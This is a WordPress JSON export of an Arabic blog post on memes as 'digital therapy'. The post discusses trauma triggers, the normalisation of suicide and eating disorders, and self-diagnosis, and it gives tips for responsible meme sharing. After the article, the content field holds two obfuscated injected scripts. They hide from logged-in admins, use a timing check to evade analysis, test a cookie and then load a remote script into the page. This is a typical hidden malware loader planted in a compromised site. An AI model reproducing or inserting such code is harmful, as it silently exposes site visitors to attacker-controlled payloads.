{"id":79940,"date":"2025-07-21T12:20:34","date_gmt":"2025-07-21T12:20:34","guid":{"rendered":"https:\/\/psychologydictionary.ae\/?p=79940"},"modified":"2026-03-21T18:26:24","modified_gmt":"2026-03-21T18:26:24","slug":"%d8%a7%d9%84%d9%85%d9%8a%d9%85%d8%a7%d8%aa-%d9%83%d8%b9%d9%84%d8%a7%d8%ac-%d8%b1%d9%82%d9%85%d9%8a","status":"publish","type":"post","link":"https:\/\/psychologydictionary.ae\/ar\/%d8%a7%d9%84%d9%85%d9%8a%d9%85%d8%a7%d8%aa-%d9%83%d8%b9%d9%84%d8%a7%d8%ac-%d8%b1%d9%82%d9%85%d9%8a\/","title":{"rendered":"\u0627\u0644\u0645\u064a\u0645\u0627\u062a \u0643\u0639\u0644\u0627\u062c \u0631\u0642\u0645\u064a"},"content":{"rendered":"\n<p>\u0627\u0644\u0645\u064a\u0645\u0627\u062a \u0644\u064a\u0633\u062a \u0645\u062c\u0631\u062f \u0646\u0643\u0627\u062a \u0641\u064a \u062e\u0644\u0627\u0635\u062a\u0643\u2014\u0628\u0644 \u0647\u064a \u0645\u0642\u062a\u0637\u0641\u0627\u062a \u0645\u0646 \u062a\u062c\u0631\u0628\u0629 \u0625\u0646\u0633\u0627\u0646\u064a\u0629 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\u0627\u0644\u0635\u0648\u0631 \u0627\u0644\u0646\u0645\u0637\u064a\u0629. <\/p>\n\n<p><strong>\u0627\u0644\u0645\u062d\u0641\u0632\u0627\u062a \u0648\u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u0635\u062f\u0645\u0629:<\/strong><strong><br\/><\/strong> \u0628\u0639\u0636 \u0627\u0644\u0645\u064a\u0645\u0627\u062a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u062d\u062a\u0648\u0649 \u062d\u0633\u0627\u0633 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0639\u064a\u062f \u0641\u062a\u062d \u062c\u0631\u0627\u062d \u0642\u062f\u064a\u0645\u0629 \u0628\u0634\u0643\u0644 \u063a\u064a\u0631 \u0645\u062a\u0648\u0642\u0639.<\/p>\n\n<p><strong>\u0627\u0644\u062a\u062c\u0646\u0628:<\/strong><strong><br\/><\/strong>  \u0627\u0644\u0645\u0632\u0627\u062d \u062d\u0648\u0644 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0642\u062f \u064a\u0624\u062e\u0631 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629. \u064a\u062c\u0628 \u0623\u0644\u0627 \u064a\u0643\u0648\u0646 \u0627\u0644\u0641\u0643\u0627\u0647\u0629 \u0647\u064a \u0627\u0644\u0623\u062f\u0627\u0629 \u0627\u0644\u0648\u062d\u064a\u062f\u0629 \u0644\u0644\u062a\u0643\u064a\u0641. <\/p>\n\n<p><strong>\u062a\u0637\u0628\u064a\u0639 \u0627\u0644\u0623\u0632\u0645\u0629:<\/strong><strong><br\/><\/strong> \u0627\u0644\u062a\u0639\u0631\u0636 \u0627\u0644\u0645\u0633\u062a\u0645\u0631 \u0644\u0644\u0645\u064a\u0645\u0627\u062a \u062d\u0648\u0644 \u062d\u0627\u0644\u0627\u062a \u062e\u0637\u064a\u0631\u0629 \u0645\u062b\u0644 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0623\u0643\u0644 \u0623\u0648 \u0627\u0644\u0627\u0646\u062a\u062d\u0627\u0631 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0642\u0644\u0644 \u0645\u0646 \u062d\u0633\u0627\u0633\u064a\u0629 \u0627\u0644\u062c\u0645\u0647\u0648\u0631 \u0648\u064a\u062c\u0639\u0644 \u0627\u0644\u0633\u0644\u0648\u0643\u064a\u0627\u062a \u0627\u0644\u0636\u0627\u0631\u0629 \u062a\u0628\u062f\u0648 \u0634\u0627\u0626\u0639\u0629 \u0623\u0648 \u062d\u062a\u0649 \u0645\u0642\u0628\u0648\u0644\u0629.<\/p>\n\n<p><strong>\u0627\u0644\u062a\u0634\u062e\u064a\u0635 \u0627\u0644\u0630\u0627\u062a\u064a:<\/strong><strong><br\/><\/strong> \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0646\u062a\u0634\u0631 \u0627\u0644\u0645\u064a\u0645\u0627\u062a \u0645\u0635\u0637\u0644\u062d\u0627\u062a \u063a\u064a\u0631 \u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0623\u0648 \u063a\u0627\u0645\u0636\u0629\u060c \u0645\u0645\u0627 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0635\u0646\u064a\u0641 \u0630\u0627\u062a\u064a \u063a\u064a\u0631 \u062f\u0642\u064a\u0642 \u062f\u0648\u0646 \u062a\u0642\u064a\u064a\u0645 \u0645\u0647\u0646\u064a.<\/p>\n\n<h3 class=\"wp-block-heading\"><strong>\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u064a\u0645\u0627\u062a \u0627\u0644\u0645\u0633\u0624\u0648\u0644: \u0646\u0635\u0627\u0626\u062d \u0644\u0644\u0645\u0628\u062f\u0639\u064a\u0646 \u0648\u0627\u0644\u0645\u0633\u062a\u0647\u0644\u0643\u064a\u0646<\/strong><\/h3>\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0625\u0636\u0627\u0641\u0629 \u062a\u062d\u0630\u064a\u0631\u0627\u062a \u0645\u0646 \u0627\u0644\u0645\u062d\u0641\u0632\u0627\u062a:<\/strong> \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0645\u0648\u0627\u0636\u064a\u0639 \u0645\u062b\u0644 \u0627\u0644\u0627\u0646\u062a\u062d\u0627\u0631 \u0623\u0648 \u0627\u0644\u0635\u062f\u0645\u0629\u060c \u0636\u0639 \u062f\u0627\u0626\u0645\u0627 \u062a\u0633\u0645\u064a\u0629 \u0648\u0627\u0636\u062d\u0629 \u0628 &#8220;\u062a\u062d\u0630\u064a\u0631&#8221;.<\/li>\n\n\n\n<li><strong>\u062a\u062c\u0646\u0628 \u0627\u0644\u0633\u062e\u0631\u064a\u0629:<\/strong> \u0627\u0647\u062f\u0641 \u0625\u0644\u0649 \u0627\u0644\u062a\u0648\u0627\u0635\u0644\u060c \u0644\u0627 \u0644\u0644\u0633\u062e\u0631\u064a\u0629. \u062d\u062a\u0649 \u0627\u0644\u0641\u0643\u0627\u0647\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0642\u0644\u0644 \u0645\u0646 \u0627\u0644\u0630\u0627\u062a \u064a\u062c\u0628 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647\u0627 \u0628\u062d\u0630\u0631. <\/li>\n\n\n\n<li><strong>\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u0648\u0627\u0631\u062f:<\/strong> \u0639\u0646\u062f \u062a\u0646\u0627\u0648\u0644 \u0645\u0648\u0627\u0636\u064a\u0639 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u062c\u0627\u062f\u0629\u060c \u0623\u062f\u0631\u062c \u062e\u0637\u0648\u0637 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0623\u0648 \u0645\u0648\u0627\u0631\u062f \u0627\u0644\u0639\u0644\u0627\u062c.<\/li>\n\n\n\n<li><strong>\u0627\u0628\u0642 \u0645\u0646\u0641\u062a\u062d\u0627 \u0639\u0644\u0649 \u0627\u0644\u0645\u0644\u0627\u062d\u0638\u0627\u062a:<\/strong> \u0625\u0630\u0627 \u062a\u0623\u0630\u0649 \u0623\u062d\u062f\u0647\u0645 \u0645\u0646 \u0645\u062d\u062a\u0648\u0627\u0643\u060c \u0627\u0633\u062a\u0645\u0639. \u0627\u0644\u0646\u064a\u0629 \u0644\u0627 \u062a\u0645\u062d\u0648 \u0627\u0644\u062a\u0623\u062b\u064a\u0631. <\/li>\n\n\n\n<li><strong>\u0631\u0627\u0642\u0628 \u062e\u0644\u0627\u0635\u062a\u0643:<\/strong> \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u0645\u064a\u0645\u0627\u062a \u062a\u0639\u0632\u0632 \u0627\u0644\u0645\u0639\u062a\u0642\u062f\u0627\u062a \u0627\u0644\u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0636\u0627\u0631\u0629\u060c \u062e\u0630 \u0648\u0642\u062a\u0643 \u0644\u062a\u0646\u0633\u064a\u0642 \u0628\u064a\u0626\u062a\u0643 \u0627\u0644\u0631\u0642\u0645\u064a\u0629.<\/li>\n\n\n\n<li><strong>\u0627\u062d\u062a\u0631\u0645 \u0627\u0644\u0645\u0628\u062f\u0639\u064a\u0646:<\/strong> \u0625\u0630\u0627 \u0644\u0645 \u062a\u0635\u0646\u0639 \u0627\u0644\u0645\u064a\u0645\u060c \u0641\u0623\u0639\u0637 \u0627\u0644\u0641\u0636\u0644 \u062d\u064a\u062b \u064a\u0633\u062a\u062d\u0642.<br\/><\/li>\n<\/ul>\n\n<p>\u0627\u0644\u0645\u064a\u0645\u0627\u062a \u0644\u0646 \u062a\u062d\u0644 \u0645\u0634\u0627\u0643\u0644 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629. \u0644\u0643\u0646 \u0642\u062f \u062a\u062c\u0639\u0644 \u0627\u0644\u0634\u062e\u0635 \u064a\u0634\u0639\u0631 \u0628\u0623\u0646\u0647 \u0623\u0642\u0644 \u0648\u062d\u062f\u0629 \u0641\u064a \u062d\u064a\u0627\u062a\u0647. \u0648\u0623\u062d\u064a\u0627\u0646\u0627\u060c \u0647\u0630\u0627 \u064a\u0643\u0641\u064a \u0644\u062a\u062c\u0627\u0648\u0632 \u064a\u0648\u0645\u0643 \u2014 \u062d\u062a\u0649 \u064a\u0638\u0647\u0631 \u0627\u0644\u0645\u064a\u0645 \u0627\u0644\u063a\u0631\u064a\u0628 \u0627\u0644\u062a\u0627\u0644\u064a \u0639\u0646 \u0627\u0644\u0631\u0627\u0643\u0648\u0646 \u0627\u0644\u0633\u0631\u064a\u0627\u0644\u064a.  <\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new 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s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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